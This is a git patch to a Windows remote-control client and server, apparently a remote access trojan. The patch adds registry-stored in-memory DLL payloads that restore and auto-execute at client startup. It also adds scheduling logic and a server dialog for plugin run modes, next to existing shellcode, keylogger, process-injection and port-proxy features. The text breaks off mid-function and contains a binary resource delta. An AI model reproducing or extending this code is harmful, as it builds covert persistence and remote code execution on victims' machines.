From c38ccbe7ca044d713aa6189c11702be0e0693e77 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Fri, 24 Apr 2026 23:19:40 +0200 Subject: [PATCH] Feature: DLL executing parameters persistence and DLL auto-run --- client/KernelManager.cpp | 105 ++++- client/KernelManager.h | 3 + common/commands.h | 7 +- common/iniFile.h | 82 ++++ common/scheduler.h | 104 +++++ server/2015Remote/2015Remote.rc | Bin 150162 -> 153472 bytes server/2015Remote/2015RemoteDlg.cpp | 30 +- server/2015Remote/2015RemoteDlg.h | 7 +- server/2015Remote/2015Remote_vs2015.vcxproj | 2 + .../2015Remote_vs2015.vcxproj.filters | 2 + server/2015Remote/PluginSettingsDlg.cpp | 361 ++++++++++++++++++ server/2015Remote/PluginSettingsDlg.h | 73 ++++ server/2015Remote/lang/en_US.ini | 30 ++ server/2015Remote/lang/zh_TW.ini | 30 ++ server/2015Remote/resource.h | 23 +- 15 files changed, 847 insertions(+), 12 deletions(-) create mode 100644 common/scheduler.h create mode 100644 server/2015Remote/PluginSettingsDlg.cpp create mode 100644 server/2015Remote/PluginSettingsDlg.h diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 05934f1..b5194b0 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -21,6 +21,7 @@ #include "common/file_upload.h" #include "common/DateVerify.h" #include "common/LANChecker.h" +#include "common/scheduler.h" extern "C" { #include "ServiceWrapper.h" } @@ -75,6 +76,11 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, m_hKeyboard = kb; // C2C 初始化 if (conn) m_MyClientID = conn->clientID; + // 恢复并启动 SCH_MODE_STARTUP 模式的 DLL + int n = RestoreMemDLL(); + if (n) { + Mprintf("[CKernelManager] RestoreMemDLL count: %d\n", n); + } } BOOL IsThreadsRunning(ThreadInfo* threads, int count) @@ -623,10 +629,93 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma return ""; } +int CKernelManager::RestoreMemDLL() { + iniFile cfg(CLIENT_PATH); + binFile bin(CLIENT_PATH); + + // 枚举所有以 .md5 结尾的值名称 + auto md5Keys = cfg.EnumValues("settings", ".md5"); + int count = 0; + + for (const auto& key : md5Keys) { + // 获取 MD5 值 + std::string md5 = cfg.GetStr("settings", key); + if (md5.empty()) + continue; + + // 从 "xxx.md5" 提取 "xxx" + std::string name = key.substr(0, key.size() - 4); + + // 获取对应的二进制数据 + std::string binData = bin.GetStr("settings", name + ".bin"); + if (binData.empty()) + continue; + + // 解析 DllExecuteInfo,提取 DLL 数据 + const int sz = 1 + sizeof(DllExecuteInfo); + if (binData.size() < sz) + continue; + + const DllExecuteInfo* info = reinterpret_cast(binData.data() + 1); + if (binData.size() < sz + info->Size) + continue; + + // 恢复到 m_MemDLL + const BYTE* dllData = reinterpret_cast(binData.data() + sz); + m_MemDLL[md5] = std::vector(dllData, dllData + info->Size); + Mprintf("Restore DLL from registry: %s (%s)\n", name.c_str(), md5.c_str()); + count++; + + // 检查是否为启动执行模式 + if (info->Schedule.Mode == SCH_MODE_STARTUP) { + // 复制一份用于检查和执行 + DllExecuteInfo infoCopy = *info; + ScheduleParams& sch = infoCopy.Schedule; + + // 从注册表读取运行时状态(LastRunTime 和 CurrentCount) + std::string lastRunStr = cfg.GetStr("settings", name + ".lastrun"); + std::string countStr = cfg.GetStr("settings", name + ".count"); + if (!lastRunStr.empty()) { + sch.LastRunTime = std::stoull(lastRunStr); + } + if (!countStr.empty()) { + sch.CurrentCount = (unsigned char)std::stoi(countStr); + } + + // 检查是否应该执行 + if (YamaTaskEngine::ShouldExecute(&sch)) { + Mprintf("Auto-start DLL on startup: %s\n", name.c_str()); + char* buf = info->InfoSize > sizeof(DllExecuteInfo) ? new char[400] : 0; + if (buf) memcpy(buf, binData.data() + 1 + sizeof(DllExecuteInfo), 400); + PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, buf); + BYTE* data = m_MemDLL[md5].data(); + CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, this), 0, NULL)); + + // 更新注册表中的运行时状态 + // 如果有时间间隔限制,更新 LastRunTime + if (sch.Config.Startup.Interval > 0) { + YamaTaskEngine::MarkExecuted(&sch); + cfg.SetStr("settings", name + ".lastrun", std::to_string(sch.LastRunTime)); + } + // 如果有次数限制,更新 CurrentCount + if (sch.MaxCount > 0) { + if (sch.Config.Startup.Interval == 0) { + // 如果没更新过 LastRunTime,需要单独增加计数 + sch.CurrentCount++; + } + cfg.SetStr("settings", name + ".count", std::to_string(sch.CurrentCount)); + } + } + } + } + + return count; +} + template BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user) { - static std::map> m_MemDLL; + std::map> &m_MemDLL(This->m_MemDLL); const int sz = 1 + sizeof(T); if (ulLength < sz) return FALSE; const T* info = (T*)(szBuffer + 1); @@ -649,6 +738,7 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user) } BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL; if (info->Size == ulLength - sz) { + // 收到完整 DLL 数据,保存到注册表 if (md5[0]) { m_MemDLL[md5] = std::vector(szBuffer + sz, szBuffer + sz + info->Size); iniFile cfg(CLIENT_PATH); @@ -660,7 +750,18 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user) } data = szBuffer + sz; } - if (data) { + else if (data) { + // 只收到参数(无 DLL 数据),更新 .bin 中的参数部分 + binFile bin(CLIENT_PATH); + std::string binData = bin.GetStr("settings", info->Name + std::string(".bin")); + if (binData.size() >= sz) { + // 替换 .bin 中的参数部分(跳过命令字节) + memcpy(&binData[1], szBuffer + 1, sizeof(T)); + bin.SetStr("settings", info->Name + std::string(".bin"), binData); + Mprintf("Update DLL params in registry: %s\n", info->Name); + } + } + if (data && SCH_MODE_NONE == info->Schedule.Mode) { PluginParam param(This->m_conn->ServerIP(), This->m_conn->ServerPort(), &This->g_bExit, user); CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data, This), 0, NULL)); Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size); diff --git a/client/KernelManager.h b/client/KernelManager.h index 621ccde..515f114 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -156,6 +156,9 @@ public: std::string m_hash; std::string m_hmac; uint64_t m_MyClientID = 0; + // 执行代码 + std::map> m_MemDLL; + int RestoreMemDLL(); void SetLoginMsg(const std::string& msg) { m_LoginMsg = msg; diff --git a/common/commands.h b/common/commands.h index 57183a8..6af5b69 100644 --- a/common/commands.h +++ b/common/commands.h @@ -69,6 +69,7 @@ typedef struct { #endif #include "ip_enc.h" +#include "scheduler.h" #include #include @@ -1145,7 +1146,8 @@ typedef struct DllExecuteInfo { char Md5[33]; // DLL MD5 int Pid; // 被注入进程ID char Is32Bit; // 是否32位DLL - char Reseverd[18]; + unsigned short InfoSize; // 结构体大小 + ScheduleParams Schedule; // 执行计划 } DllExecuteInfo; typedef struct DllExecuteInfoNew { @@ -1156,7 +1158,8 @@ typedef struct DllExecuteInfoNew { char Md5[33]; // DLL MD5 int Pid; // 被注入进程ID char Is32Bit; // 是否32位DLL - char Reseverd[18]; + unsigned short InfoSize; // 结构体大小 + ScheduleParams Schedule; // 执行计划 char Parameters[400]; } DllExecuteInfoNew; inline void SetParameters(DllExecuteInfoNew *p, char *param, int size) diff --git a/common/iniFile.h b/common/iniFile.h index 53d4778..3245c55 100644 --- a/common/iniFile.h +++ b/common/iniFile.h @@ -359,6 +359,88 @@ public: } m_keyCache.clear(); } + + // 枚举 m_SubKeyPath 下的所有子键名称 + // suffix: 只返回以该后缀结尾的键名,默认为空表示返回所有键 + std::vector EnumSubKeys(const std::string& suffix = "") const + { + std::vector result; + + // 使用缓存获取 m_SubKeyPath 的句柄 + auto it = m_keyCache.find(m_SubKeyPath); + HKEY hKey = NULL; + if (it != m_keyCache.end()) { + hKey = it->second; + } else { + if (RegOpenKeyExA(m_hRootKey, m_SubKeyPath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS) { + return result; + } + m_keyCache[m_SubKeyPath] = hKey; + } + + char keyName[256]; + DWORD keyNameSize; + DWORD index = 0; + + while (true) { + keyNameSize = sizeof(keyName); + LONG ret = RegEnumKeyExA(hKey, index, keyName, &keyNameSize, NULL, NULL, NULL, NULL); + if (ret == ERROR_NO_MORE_ITEMS) { + break; + } + if (ret == ERROR_SUCCESS) { + if (suffix.empty()) { + result.push_back(keyName); + } else { + std::string name(keyName); + if (name.size() >= suffix.size() && + name.compare(name.size() - suffix.size(), suffix.size(), suffix) == 0) { + result.push_back(name); + } + } + } + index++; + } + + return result; + } + + // 枚举指定 MainKey 下的所有值名称 + // suffix: 只返回以该后缀结尾的值名,默认为空表示返回所有值 + std::vector EnumValues(const std::string& MainKey, const std::string& suffix = "") const + { + std::vector result; + + HKEY hKey = GetCachedKey(MainKey); + if (!hKey) + return result; + + char valueName[256]; + DWORD valueNameSize; + DWORD index = 0; + + while (true) { + valueNameSize = sizeof(valueName); + LONG ret = RegEnumValueA(hKey, index, valueName, &valueNameSize, NULL, NULL, NULL, NULL); + if (ret == ERROR_NO_MORE_ITEMS) { + break; + } + if (ret == ERROR_SUCCESS) { + if (suffix.empty()) { + result.push_back(valueName); + } else { + std::string name(valueName); + if (name.size() >= suffix.size() && + name.compare(name.size() - suffix.size(), suffix.size(), suffix) == 0) { + result.push_back(name); + } + } + } + index++; + } + + return result; + } }; // 配置读取类: 注册表二进制配置(带键句柄缓存) diff --git a/common/scheduler.h b/common/scheduler.h new file mode 100644 index 0000000..c7ec858 --- /dev/null +++ b/common/scheduler.h @@ -0,0 +1,104 @@ +#ifndef YAMA_SCHEDULER_H +#define YAMA_SCHEDULER_H + +// 调度模式定义 +#define SCH_MODE_NONE 0 // 默认模式:不自动执行 (仅手动) +#define SCH_MODE_STARTUP 1 // 启动执行模式 +#define SCH_MODE_DAILY 2 // 每日定时模式 +#define SCH_MODE_WEEKLY 3 // 每周定时模式 + +#pragma pack(push, 1) +// 严格定义 16 字节结构 +typedef struct { + unsigned char Mode; // [1 字节] 0=None, 1=Startup, 2=Daily... + unsigned char Flags; // [1 字节] 标志位 (bit0:禁用) + + union { + // Mode 1: 启动执行 + 间隔控制 + struct { + unsigned int Interval; + } Startup; + + // Mode 2 & 3: 定时模式 + struct { + unsigned short TargetMin; + unsigned char DaysMask; + unsigned char Reserved; + } Timed; + } Config; + + unsigned __int64 LastRunTime; + unsigned char CurrentCount; + unsigned char MaxCount; +} ScheduleParams; +#pragma pack(pop) + +#ifdef _WIN32 +#include + +class YamaTaskEngine { +public: + static bool ShouldExecute(const ScheduleParams* p) { + // --- 1. 默认与基础拦截 --- + if (p->Mode == SCH_MODE_NONE) return false; // Mode为0,默认不执行 + if (p->Flags & 0x01) return false; // 显式禁用拦截 + if (p->MaxCount > 0 && p->CurrentCount >= p->MaxCount) return false; + + unsigned __int64 now = GetCurrentFT(); + + // --- 2. 启动执行模式 (Mode 1) --- + if (p->Mode == SCH_MODE_STARTUP) { + static bool bSessionLocked = false; + if (bSessionLocked) return false; + + if (p->Config.Startup.Interval > 0 && p->LastRunTime > 0) { + unsigned __int64 diffSec = (now - p->LastRunTime) / 10000000ULL; + if (diffSec < (unsigned __int64)p->Config.Startup.Interval) { + return false; + } + } + + bSessionLocked = true; + return true; + } + + // --- 3. 每日定时逻辑 (Mode 2) --- + if (p->Mode == SCH_MODE_DAILY) { + SYSTEMTIME st; + GetLocalTime(&st); + unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute); + if (curMin >= p->Config.Timed.TargetMin) { + if (!IsSameDay(p->LastRunTime, now)) return true; + } + } + + return false; + } + + static void MarkExecuted(ScheduleParams* p) { + p->LastRunTime = GetCurrentFT(); + if (p->MaxCount > 0 && p->CurrentCount < 255) { + p->CurrentCount++; + } + } + +private: + static unsigned __int64 GetCurrentFT() { + FILETIME ft; + GetSystemTimeAsFileTime(&ft); + return ((unsigned __int64)ft.dwHighDateTime << 32) | ft.dwLowDateTime; + } + + static bool IsSameDay(unsigned __int64 ft1, unsigned __int64 ft2) { + if (ft1 == 0 || ft2 == 0) return false; + SYSTEMTIME st1, st2; + FILETIME f1, f2; + f1.dwLowDateTime = (DWORD)ft1; f1.dwHighDateTime = (DWORD)(ft1 >> 32); + f2.dwLowDateTime = (DWORD)ft2; f2.dwHighDateTime = (DWORD)(ft2 >> 32); + FileTimeToSystemTime(&f1, &st1); + FileTimeToSystemTime(&f2, &st2); + return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth && st1.wDay == st2.wDay); + } +}; +#endif +#endif diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 4bd5c29d38a34d4f1778e1a414256bf7ec8394c8..773ec5d2bfe958c103094c49cb80b5910f38bb54 100644 GIT binary patch delta 1286 zcmZuxT}V@582-M~u<527XmkGSQS$G&wz)YIGsVpx(oNkIMQE02Qer|x1)@e|MzYj5 z{cZyxywI|UMi3==6B1$4MHd$HHYg0D+j_sVO*bcF(hkZ%Zr?%-KL^VDEm4#!L2T#7W#hiyiDsHm!x_DFf`>Q(_4-ek5WdM%XP&hP`1U ztc)b3aiT;jh*3T>;}yqP$Z4P>dCV!%CeXSR99~#Y>QGt>@sJ)QIS|ONl*bUW zT8WF;WkR@*<)}W7=gj%dsNRFn4$>uei|i33S)uMmAscO{1z;#O=eHuPo77{6PMIp< zsB9spF$8C)sQBjU?uEY9loM`bcFC&B(Q(kXjpbF)4E8CVidom%e=dktV|@?2UX$60sqf(H~FsP>Cn!^DfIJ zN~24-u}BjR#*Ru_SRypU|5sjw&S3e=v- zHbsj#NR&SeeD>zhB$1Ez7JQDc_NKBxfUfz6y6IpUTkoghp||Ja5VbIEKTTkhKAPbF zdY8V;QvA4m%EM-tXv6V3bm$>2_Ia6FSzwi(1fyQbw&rPye|(8<KdWI|FJ+A&S5)tp_>2b+rzRge|yOx6RNhS1skL16m_0me^m)8*bW zZrFY(i7`!g`i6OoT-(=8VB8|R-C{lCA^Gh+=NVTdfK+Une!+`LW%~p}rX2a{azRX1 zAVLh}=&Name) == FRPC_DLL_NAME) { auto frpc = ReadFrpcDll(info->CallType); Buffer* buf = frpc->Data; + DllExecuteInfo* target = frpc->GetInfo(); + target->Schedule.Mode = info->Schedule.Mode; // 只有 CMD_EXECUTE_DLL_NEW 才有 Parameters 字段,需要保留 if (cmd == CMD_EXECUTE_DLL_NEW) { DllExecuteInfoNew* p = (DllExecuteInfoNew*)(buf->Buf() + 1); @@ -8478,6 +8487,12 @@ void CMy2015RemoteDlg::OnToolReloadPlugins() m_DllList = ReadAllDllFilesWindows(path); } +void CMy2015RemoteDlg::OnToolPluginSettings() +{ + CPluginSettingsDlg dlg(m_DllList, this); + dlg.DoModal(); +} + context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip) { CString clientIP(ip.c_str()); @@ -8734,7 +8749,7 @@ std::string GetAuthKey(const char* token, long long timestamp) // 基于FRP将客户端端口代理到主控程序的公网 // 例如代理3389端口,即可通过 mstsc.exe 进行远程访问 -void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard) +void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard, bool autoRun) { BOOL useFrp = THIS_CFG.GetInt("frp", "UseFrp", 0); std::string pwd = THIS_CFG.GetStr("frp", "token", ""); @@ -8763,6 +8778,8 @@ void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard) int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000); int localPort = atoi(dlg.m_str), remotePort = atoi(dlg.m_sSecondInput); auto frpc = ReadFrpcDll(isStandard ? CALLTYPE_FRPC_STDCALL : CALLTYPE_FRPC_CALL); + DllExecuteInfo* info = frpc->GetInfo(); + info->Schedule.Mode = autoRun ? SCH_MODE_STARTUP : SCH_MODE_NONE; FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, remotePort); EnterCriticalSection(&m_cs); POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); @@ -8808,6 +8825,11 @@ void CMy2015RemoteDlg::OnProxyPort() } +void CMy2015RemoteDlg::OnProxyPortAutorun() +{ + ProxyClientTcpPort(false, true); +} + void CMy2015RemoteDlg::OnProxyPortStd() { ProxyClientTcpPort(true); diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index d7f2288..d2a287d 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -35,6 +35,9 @@ typedef struct DllInfo { { SAFE_DELETE(Data); } + DllExecuteInfo* GetInfo() { + return (DllExecuteInfo*)(Data->Buf() + 1); + } } DllInfo; typedef struct FileTransformCmd { @@ -449,6 +452,7 @@ public: afx_msg void OnShellcodeAesBin(); afx_msg void OnShellcodeTestAesBin(); afx_msg void OnToolReloadPlugins(); + afx_msg void OnToolPluginSettings(); afx_msg void OnShellcodeAesCArray(); afx_msg void OnParamKblogger(); afx_msg void OnOnlineInjNotepad(); @@ -457,7 +461,7 @@ public: afx_msg void OnParamPrivacyWallpaper(); afx_msg void OnParamFileV2(); afx_msg void OnParamRunAsUser(); - void ProxyClientTcpPort(bool isStandard); + void ProxyClientTcpPort(bool isStandard, bool autoRun=false); afx_msg void OnProxyPort(); afx_msg void OnHookWin(); afx_msg void OnRunasService(); @@ -481,4 +485,5 @@ public: afx_msg void OnMasterTrail(); afx_msg void OnCancelShare(); afx_msg void OnWebRemoteControl(); + afx_msg void OnProxyPortAutorun(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 3ebdc42..084af72 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -337,6 +337,7 @@ + @@ -385,6 +386,7 @@ NotUsing NotUsing + NotUsing diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 9084de7..f4d7969 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -80,6 +80,7 @@ + @@ -182,6 +183,7 @@ + diff --git a/server/2015Remote/PluginSettingsDlg.cpp b/server/2015Remote/PluginSettingsDlg.cpp new file mode 100644 index 0000000..b01ed91 --- /dev/null +++ b/server/2015Remote/PluginSettingsDlg.cpp @@ -0,0 +1,361 @@ +#include "stdafx.h" +#include "PluginSettingsDlg.h" +#include "2015RemoteDlg.h" +#include "resource.h" +#include "jsoncpp/json.h" +#include +#include + +#ifndef _WIN64 +#ifdef _DEBUG +#pragma comment(lib, "jsoncpp/jsoncppd.lib") +#else +#pragma comment(lib, "jsoncpp/jsoncpp.lib") +#endif +#else +#ifdef _DEBUG +#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib") +#else +#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib") +#endif +#endif + +BEGIN_MESSAGE_MAP(CPluginSettingsDlg, CDialogLangEx) + ON_BN_CLICKED(IDC_BTN_SAVE, &CPluginSettingsDlg::OnBnClickedBtnSave) + ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_PLUGINS, &CPluginSettingsDlg::OnLvnItemchangedListPlugins) +END_MESSAGE_MAP() + +CPluginSettingsDlg::CPluginSettingsDlg(std::vector& dllList, CWnd* pParent) + : CDialogLangEx(IDD_DIALOG_PLUGIN_SETTINGS, pParent) + , m_DllList(dllList) + , m_nSelectedIndex(-1) +{ +} + +CPluginSettingsDlg::~CPluginSettingsDlg() +{ +} + +void CPluginSettingsDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialogLangEx::DoDataExchange(pDX); + DDX_Control(pDX, IDC_LIST_PLUGINS, m_listPlugins); + DDX_Control(pDX, IDC_COMBO_RUNTYPE_P, m_comboRunType); + DDX_Control(pDX, IDC_COMBO_CALLTYPE, m_comboCallType); + DDX_Control(pDX, IDC_COMBO_MODE, m_comboMode); + DDX_Control(pDX, IDC_EDIT_INTERVAL, m_editInterval); + DDX_Control(pDX, IDC_EDIT_MAXCOUNT, m_editMaxCount); +} + +BOOL CPluginSettingsDlg::OnInitDialog() +{ + CDialogLangEx::OnInitDialog(); + + // 初始化列表控件 + InitListCtrl(); + + // 初始化运行类型下拉框 + m_comboRunType.InsertString(SHELLCODE, _TR("Shellcode")); + m_comboRunType.InsertString(MEMORYDLL, _TR("内存DLL")); + m_comboRunType.SetCurSel(MEMORYDLL); + + // 初始化调用方式下拉框 + m_comboCallType.InsertString(CALLTYPE_DEFAULT, _TR("自动检测")); + m_comboCallType.InsertString(CALLTYPE_IOCPTHREAD, _TR("IOCP线程")); + m_comboCallType.InsertString(CALLTYPE_FRPC_CALL, _TR("自定义FRPC[不可用]")); + m_comboCallType.InsertString(CALLTYPE_FRPC_STDCALL, _TR("标准FRPC[不可用]")); + m_comboCallType.SetCurSel(CALLTYPE_DEFAULT); + + // 初始化调度模式下拉框 + m_comboMode.InsertString(SCH_MODE_NONE, _TR("不自动执行")); + m_comboMode.InsertString(SCH_MODE_STARTUP, _TR("启动执行")); + m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时[未实现]")); + m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时[未实现]")); + m_comboMode.SetCurSel(SCH_MODE_NONE); + + // 加载配置 + m_Configs = LoadPluginConfigs(); + + // 加载插件列表 + LoadPluginsToList(); + + return TRUE; +} + +void CPluginSettingsDlg::InitListCtrl() +{ + m_listPlugins.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES); + + m_listPlugins.InsertColumn(0, _TR("名称"), LVCFMT_LEFT, 120); + m_listPlugins.InsertColumn(1, _TR("大小"), LVCFMT_RIGHT, 80); + m_listPlugins.InsertColumn(2, _TR("运行类型"), LVCFMT_LEFT, 80); + m_listPlugins.InsertColumn(3, _TR("调度模式"), LVCFMT_LEFT, 120); + m_listPlugins.InsertColumn(4, _TR("MD5"), LVCFMT_LEFT, 220); + + GetDlgItem(IDC_STATIC_PLUGIN_SETTINGS)->SetWindowText(_TR("插件参数配置")); + GetDlgItem(IDC_STATIC_PLUGIN_RUNTYPE)->SetWindowText(_TR("运行类型:")); + GetDlgItem(IDC_STATIC_PLUGIN_CALLTYPE)->SetWindowText(_TR("调用方式:")); + GetDlgItem(IDC_STATIC_PLUGIN_SCHEDULE)->SetWindowText(_TR("调度模式:")); + GetDlgItem(IDC_STATIC_PLUGIN_INTERVAL)->SetWindowText(_TR("间隔(秒):")); + GetDlgItem(IDC_STATIC_PLUGIN_COUNTER)->SetWindowText(_TR("最大次数:")); + SetWindowText(_TR("插件设置")); +} + +void CPluginSettingsDlg::LoadPluginsToList() +{ + m_listPlugins.DeleteAllItems(); + + const char* runTypeNames[] = { "Shellcode", "内存DLL" }; + const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时" }; + + int index = 0; + for (const auto& dll : m_DllList) { + if (!dll || !dll->Data) continue; + + // 获取 DllExecuteInfo + const char* buf = (char*)(dll->Data->Buf()); + if (dll->Data->length() < 1 + sizeof(DllExecuteInfo)) continue; + const DllExecuteInfo* info = reinterpret_cast(buf + 1); + + // 查找或创建配置 + PluginConfig* cfg = FindConfig(dll->Name); + + m_listPlugins.InsertItem(index, CString(dll->Name.c_str())); + + CString sizeStr; + sizeStr.Format(_T("%d KB"), info->Size / 1024); + m_listPlugins.SetItemText(index, 1, sizeStr); + + int runType = cfg ? cfg->RunType : info->RunType; + int mode = cfg ? cfg->Mode : info->Schedule.Mode; + + m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < 2 ? runType : 0])); + m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < 4 ? mode : 0])); + m_listPlugins.SetItemText(index, 4, CString(info->Md5)); + + m_listPlugins.SetItemData(index, (DWORD_PTR)dll); + index++; + } +} + +void CPluginSettingsDlg::OnLvnItemchangedListPlugins(NMHDR* pNMHDR, LRESULT* pResult) +{ + LPNMLISTVIEW pNMLV = reinterpret_cast(pNMHDR); + *pResult = 0; + + if (pNMLV->uNewState & LVIS_SELECTED) { + m_nSelectedIndex = pNMLV->iItem; + UpdateSelectedPluginInfo(); + } +} + +void CPluginSettingsDlg::UpdateSelectedPluginInfo() +{ + if (m_nSelectedIndex < 0) return; + + DllInfo* dll = reinterpret_cast(m_listPlugins.GetItemData(m_nSelectedIndex)); + if (!dll || !dll->Data) return; + + const char* buf = (char*)(dll->Data->Buf()); + const DllExecuteInfo* info = reinterpret_cast(buf + 1); + + // 查找配置(如果有) + PluginConfig* cfg = FindConfig(dll->Name); + + // 更新下拉框和编辑框 + int runType = cfg ? cfg->RunType : info->RunType; + int callType = cfg ? cfg->CallType : info->CallType; + int mode = cfg ? cfg->Mode : info->Schedule.Mode; + unsigned int interval = cfg ? cfg->Interval : info->Schedule.Config.Startup.Interval; + unsigned char maxCount = cfg ? cfg->MaxCount : info->Schedule.MaxCount; + + m_comboRunType.SetCurSel(runType < 2 ? runType : 0); + m_comboCallType.SetCurSel(callType < 4 ? callType : 0); + m_comboMode.SetCurSel(mode < 4 ? mode : 0); + + CString str; + str.Format(_T("%u"), interval); + m_editInterval.SetWindowText(str); + + str.Format(_T("%u"), maxCount); + m_editMaxCount.SetWindowText(str); +} + +void CPluginSettingsDlg::OnBnClickedBtnSave() +{ + if (m_nSelectedIndex < 0) { + MessageBoxL(_T("请先选择一个插件"), _T("提示"), MB_ICONINFORMATION); + return; + } + + SaveCurrentPluginConfig(); + SavePluginConfigs(m_Configs); + + // 刷新列表显示 + LoadPluginsToList(); + + // 重新选中 + m_listPlugins.SetItemState(m_nSelectedIndex, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED); + + MessageBoxL(_T("配置已保存"), _T("提示"), MB_ICONINFORMATION); +} + +void CPluginSettingsDlg::SaveCurrentPluginConfig() +{ + if (m_nSelectedIndex < 0) return; + + DllInfo* dll = reinterpret_cast(m_listPlugins.GetItemData(m_nSelectedIndex)); + if (!dll || !dll->Data) return; + + const char* buf = (char*)dll->Data->Buf(); + const DllExecuteInfo* info = reinterpret_cast(buf + 1); + + // 查找或创建配置 + PluginConfig* cfg = FindConfig(dll->Name); + if (!cfg) { + PluginConfig newCfg; + newCfg.Name = dll->Name; + m_Configs.push_back(newCfg); + cfg = &m_Configs.back(); + } + + cfg->Md5 = info->Md5; + cfg->RunType = m_comboRunType.GetCurSel(); + cfg->CallType = m_comboCallType.GetCurSel(); + cfg->Mode = (unsigned char)m_comboMode.GetCurSel(); + + CString str; + m_editInterval.GetWindowText(str); + cfg->Interval = _ttoi(str); + + m_editMaxCount.GetWindowText(str); + cfg->MaxCount = (unsigned char)_ttoi(str); + + // 更新 DllInfo 中的 Buffer(修改 DllExecuteInfo) + DllExecuteInfo* infoMut = const_cast(info); + infoMut->RunType = cfg->RunType; + infoMut->CallType = cfg->CallType; + infoMut->Schedule.Mode = cfg->Mode; + infoMut->Schedule.Config.Startup.Interval = cfg->Interval; + infoMut->Schedule.MaxCount = cfg->MaxCount; +} + +PluginConfig* CPluginSettingsDlg::FindConfig(const std::string& name) +{ + for (auto& cfg : m_Configs) { + if (cfg.Name == name) { + return &cfg; + } + } + return nullptr; +} + +std::string CPluginSettingsDlg::GetPluginConfigPath() +{ + std::string dbPath = GetDbPath(); + // 获取目录部分 + size_t pos = dbPath.find_last_of("\\/"); + std::string dir = (pos != std::string::npos) ? dbPath.substr(0, pos + 1) : ""; + return dir + "plugins.json"; +} + +std::vector CPluginSettingsDlg::LoadPluginConfigs() +{ + std::vector configs; + std::string path = GetPluginConfigPath(); + + std::ifstream file(path); + if (!file.is_open()) { + return configs; + } + + Json::Value root; + Json::CharReaderBuilder builder; + std::string errors; + + if (!Json::parseFromStream(builder, file, &root, &errors)) { + return configs; + } + + if (!root.isArray()) { + return configs; + } + + for (const auto& item : root) { + PluginConfig cfg; + cfg.Name = item.get("name", "").asString(); + cfg.Md5 = item.get("md5", "").asString(); + cfg.RunType = item.get("runType", MEMORYDLL).asInt(); + cfg.CallType = item.get("callType", CALLTYPE_IOCPTHREAD).asInt(); + cfg.Mode = (unsigned char)item.get("mode", SCH_MODE_NONE).asInt(); + cfg.Flags = (unsigned char)item.get("flags", 0).asInt(); + cfg.Interval = item.get("interval", 0).asUInt(); + cfg.MaxCount = (unsigned char)item.get("maxCount", 0).asInt(); + + if (!cfg.Name.empty()) { + configs.push_back(cfg); + } + } + + return configs; +} + +void CPluginSettingsDlg::SavePluginConfigs(const std::vector& configs) +{ + std::string path = GetPluginConfigPath(); + + Json::Value root(Json::arrayValue); + + for (const auto& cfg : configs) { + Json::Value item; + item["name"] = cfg.Name; + item["md5"] = cfg.Md5; + item["runType"] = cfg.RunType; + item["callType"] = cfg.CallType; + item["mode"] = cfg.Mode; + item["flags"] = cfg.Flags; + item["interval"] = cfg.Interval; + item["maxCount"] = cfg.MaxCount; + root.append(item); + } + + std::ofstream file(path); + if (file.is_open()) { + Json::StreamWriterBuilder builder; + builder["indentation"] = " "; + std::unique_ptr writer(builder.newStreamWriter()); + writer->write(root, &file); + } +} + +void CPluginSettingsDlg::PatchDllList(std::vector& dllList) +{ + std::vector configs = LoadPluginConfigs(); + + for (auto& dll : dllList) { + if (!dll || !dll->Data) continue; + + // 查找对应的配置 + PluginConfig* cfg = nullptr; + for (auto& c : configs) { + if (c.Name == dll->Name) { + cfg = &c; + break; + } + } + + if (!cfg) continue; + + // 